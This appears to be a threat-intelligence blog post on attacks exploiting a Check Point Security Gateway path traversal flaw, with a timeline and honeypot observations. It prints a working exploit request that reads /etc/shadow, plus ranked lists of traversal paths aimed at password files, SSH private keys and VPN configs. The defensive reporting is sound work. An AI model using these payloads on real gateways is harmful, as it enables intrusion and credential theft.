On May 28, 2024, Check Point published an advisory (and emailed customers) regarding CVE-2024-24919, a CVSS 8.6 vulnerability that they described using fairly vague language: "exploiting this vulnerability can result in accessing sensitive information on the Security Gateway. This, in certain scenarios, can potentially lead the attacker to move laterally and gain domain admin privileges."

Although they buried the lede a bit, if you scroll way down and click through a bit, you'll see that attacks in the wild occurred as far back as April 7, 2024 (nearly 2 months)! Two days after the advisory came out (May 30, 2024), we published a tag, which currently shows rapidly increasing exploitation:

Although you can’t see it on the graph, the very first attempts we saw were on May 31, 2024 at around 9:30am UTC. We also observed some attempted exploits on May 30, 2024, but they don’t show up in our public data because they don’t actually work (more on that below).

On the same day (May 30, 2024), watchTowr labs published an amazing write-up that includes a working proof of concept. On that same day, CISA added it to the Known Exploited Vulnerabilities list.

On May 31, 2024, our friends at Censys published their write-up, which indicated that there are nearly 14,000 devices running some version of that software, although it’s not clear how many of those have exposed management ports.

The vulnerability

The core vulnerability is a pretty straight-forward path traversal issue. One of the folks on my team reverse engineered the patch concurrently with watchTowr and came up with basically the same exploit (this one is from watchTowr):

POST /clients/MyCRL HTTP/1.1
Host: <redacted>
Content-Length: 39

aCSHELL/../../../../../../../etc/shadow

Since the server runs as root, an attacker can grab any file on the filesystem! We’ll show you what attackers are actually searching for below.

Our observations

Sift

Although we tagged this issue very quickly, we actually saw the first exploit attempt (attempt), with a non-working exploit, hitting Sift on May 30, 2024 - presumably somebody thought they’d figured it out and pushed the big “go” button a bit too quickly:

POST /clients/MyCRL HTTP/1.1
Host: <ip>
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 38
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64)

/clients/MyCRL/../../../..//etc/shadow

We started seeing actual exploitation attempts logged in Sift on May 31, 2024:

POST /clients/MyCRL HTTP/1.1
Host: <ip>
Connection: close
Accept-Encoding: gzip
Connection: close
Content-Length: 39
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

aCSHELL/../../../../../../../etc/shadow

I’m always impressed when an automated system can catch a novel exploit without being told about it!

Honeypot data

We manually searched our honeypot data going back 90 days prior to today (June 4, 2024), and the oldest exploit attempts that we see started on May 30, 2024, at about 5pm UTC:

POST /clients/MyCRL HTTP/1.1
Host: <IP_ADDRESS>
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/<IP_ADDRESS> Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 38

/clients/MyCRL/../../../..//etc/passwd

The word “attempts” is doing a lot of work in that sentence because, from what we can tell, this payload doesn’t actually work - perhaps somebody pressed the big red button before actually testing their exploit?

In any case, the IP address using that broken payload was 125.229.221.55, a Taiwan-based address that started scanning for HNAP-enabled devices on May 30, 2024, then a few hours later (on the same day) started scanning for CVE-2024-24919. We can’t say with certainty whether the HNAP scan is related, but it’s the only other traffic we’ve ever seen from that IP address. In the exploits, the IP attempted to fetch /etc/passwd and /etc/shadow.

The first real exploitation we observed began on the morning of May 31, around 9:40am UTC, when a New York-based IP address, 45.88.91.78, took a break from searching for CISCO ASA appliances and started launching exploits for this issue with a payload that would appear to actually work (and, in fact, is suspiciously identical to watchTowr’s PoC, including the number of ../s):

POST /clients/MyCRL HTTP/1.1
Host: <IP_ADDRESS>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:82.0) Gecko/20100101 Firefox/82.0
Connection: close
Content-Length: 39
Accept-Encoding: gzip

aCSHELL/../../../../../../../etc/shadow

Around that same time, a chorus of different scanners emerged that used a bunch of different paths. Due to the nature of the vulnerability, it’s very hard to determine the actual intent of the attacker - all we know is which file they’re trying to fetch. Whether they’re using that to steal passwords or to test the vulnerability is hard to know.

That being said, as of June 4, 2024, here is the top-10 list of plausibly-working payloads that we’ve observed, with the counts:

4805 ../../../../../../../etc/fstab
2453 ../../../../../../../etc/shadow
980 ../../../../../../../sysimg/CPwrapper/SU/Products.conf
959 ../../../../../../../config/db/initial
508 ../../../../../../../etc/passwd
202 ../../../../../../../home/*/.ssh/authorized_keys
166 ../../../../../../../opt/checkpoint/conf/
165 ../../../../../../../etc/ssh/sshd_config
163 ../../../../../../../etc/vpn/vpn.conf
161 ../../../../../../../home/*/.ssh/id_rsa

It’s interesting to contrast that with this list, which we generated yesterday (June 3, 2024):

1615 ../../../../../../../etc/fstab
491 ../../../../../../../etc/passwd
486 ../../../../../../../etc/shadow
197 ../../../../../../../home/*/.ssh/authorized_keys
161 ../../../../../../../opt/checkpoint/conf/
160 ../../../../../../../etc/ssh/sshd_config
158 ../../../../../../../etc/vpn/vpn.conf
156 ../../../../../../../home/*/.ssh/id_rsa
94 ../../../../../../../home/*/.ssh/known_hosts
83 ../../../../../../../home/root/.ssh/authorized_keys

As you can see, /etc/fstab remains a popular target - probably it’s a reliable path being used by some off-the-shelf scanner(s).

/etc/shadow of course remains popular, but we’re suddenly seeing a lot of attempts to pull

/sysimg/CPwrapper/SU/Products.conf and /config/db/initial that we weren’t seeing yesterday. That demonstrates how the attack is evolving day over day!

Unfortunately, we didn’t directly observe the 0-day exploitation prior to the advisory being released; presumably, the attacks were targeted and didn’t hit our sensor network (although as we expand our new sensors and personas to real networks, we expect to start seeing this type of 0-day exploitation in Sift!)

Conclusion

With a public proof of concept out, and exploitation quickly ramping up, we recommend patching Check Point as soon as possible!

References

This article is a summary of the full, in-depth version on the GreyNoise Labs blog.
GreyNoise Labs logo
Link to GreyNoise Twitter account
Link to GreyNoise Twitter account